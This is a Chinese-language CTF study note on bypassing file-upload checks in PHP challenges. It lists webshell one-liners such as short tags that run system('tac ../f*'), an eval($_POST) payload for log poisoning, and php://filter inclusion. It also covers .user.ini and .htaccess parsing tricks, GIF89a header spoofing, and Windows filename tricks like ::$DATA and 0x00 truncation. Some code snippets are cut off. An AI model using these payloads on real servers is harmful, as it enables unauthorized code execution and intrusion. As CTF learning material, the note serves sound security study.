文件上传
js前端检测
什么用都没有,直接改包
.user.ini
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
auto_prepend_file=filename //包含在文件头
auto_append_file=filename //包含在文件尾
eg:
//.user.ini |
waf
双写后缀
如题
应用场景:黑名单、使用str_ireplace()将匹配到的黑名单中的内容替换为空。
ban php
短标签形式<?=system("tac ../f*");?>
ban ()
反引号<?=`tac ../f*`?>
ban;
直接不用就好了<?=system("tac ../f*")?>
上面那个也行
ban 反引号 php ,利用文件包含
- include命令去配合php伪协议进行读取 拼接php
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
- session包含
详见web162.py
ban 文件头
添加 GIF89a
远程文件包含
什么鬼啊,测试不通
|
我误了,php搭建的服务器不知道为什么不行,flask路由即可,妙哉妙哉
from flask import Flask |
GIF89a |
二次渲染
图片里的马没了
png,jgp渲染都在GD库
里面,所以可以用imagecreatefrompng
函数来读取图片,然后再用imagepng
函数来渲染图片,这样就可以绕过waf了。
文件里有脚本和图片,直接利用就好
文件头
gif的文件头为GIF89a;png的文件头为89504E47;jpg的文件头为FFD8FF |
Content-Type
text/html:HTML 格式 |
.htaccess
.htaccess文件中有两种写法
<FilesMatch "xxx.png"> |
或者是
AddType application/x-httpd-php .jpg
.jpg
为后缀额度文件都当做php解析
免杀
|
日志文件包含
User-Agent: <?php @eval($_POST['a']);?>
.user.ini
auto_prepend_file=/var/log/nginx/access.log
满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require(‘1.png’),进行了文件包含
特殊可解析后缀
黑名单规则不严谨,在某些特定的环境中,某些特殊的后缀名仍然会被当做php文件解析。
Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml
比如,黑名单禁止上传.asp|.aspx|.php|.jsp
后缀文件。但是Apache的httpd.conf配置文件中,有这样一行内容:AddType application/x-httpd-php .php .php3 .phtml
这里上传.php、.php3、.phtml后缀的文件都可以当做php文件来执行。
利用操作系统特性-Windows
利用Windows对于文件和文件名的限制,以下字符放在结尾时,不符合操作系统的命名规范,在最后生成文件时,字符会被自动去除。
上传文件名服务器文件名说明
file.php[空格]file.php
file.php[.]file.php
无论多少个.都可以
file.php[%80-%99]file.
phpBurp抓包,在文件名结尾输%80,CTRL+SHIFT+U进行URL-DECODE,或者增加一个空格,再在HEX视图中把20修改为80
上传文件名服务器生成文件名内容
file.php::$DATAfile.phpfile.php
中的实际内容
file.php::$DATA......file.php
实际
- 空格绕过
应用场景:服务器为Windows平台,在对用户上传的文件名进行处理时,没有使用trim()函数去除字符串收尾处的空白字符。
利用方式:用户上传图片马时,用Burp拦截,在文件尾部加入空格。例如:xxx.jpg<space>
。带有空格的后缀可以绕过黑名单的检测,而文件存在在Windows服务器上,会自动去除后缀中的空格。
- 点绕过
应用场景:Windows
平台,服务端没有使用deldot()
删除文件名末尾的点。
利用方式:上传名为assert.php.的文件。在Windows服务器中,后缀名之后的点,在保存时,会被自动忽略。
::$DATA
绕过
应用场景:Windows平台,没有使用str_ireplace()
将::$DATA
替换为空,导致可以利用NTFS
文件流特性。
利用方式:
假设xxx.php的内容为<?php phpinfo();?>
上传的文件名服务器表面现象生成的文件内容
xxx.php:a.jpg
生成xxx.php
xxx.php::$DATA
生成 xxx.php<?php phpinfo();?>
xxx.php::$INDEX_ALLOCATION
生成xxx.php文件夹
xxx.php::$DATA.jpg
生成0.jpg<?php phpinfo();?>
xxx.php::$DATA\aaa.jpg
生成aaa.jpg<?php phpinfo();?>
这里,我们上传一个名为xxx.php::$DATA
的木马,然后,在浏览器中访问xxx.php。
0x00
截断
条件:php版本<5.3.4、php.ini中的magic_quotes_gpc设置为off、上传路径可控、白名单
利用方式:
如果上传文件的路径为:用户可控的上传路径/随机数.白名单中的后缀 正常情况下,服务器拼接得到的上传图像地址为$img_path =../upload/5920201223231032.gif
但是,用户如果在可控上传路径中写入一个php后缀,并且php后缀后面有一个0x00字符 服务器拼接得到的上传图像地址会变为$img_path =../upload/xxx.php[0x00]/5920201223231032.gif
对后缀进行白名单检测,为gif。但是保存在服务器上的文件,却是xxx.php,因为0x00之后的内容被截断了。
0x0a截断
原理同上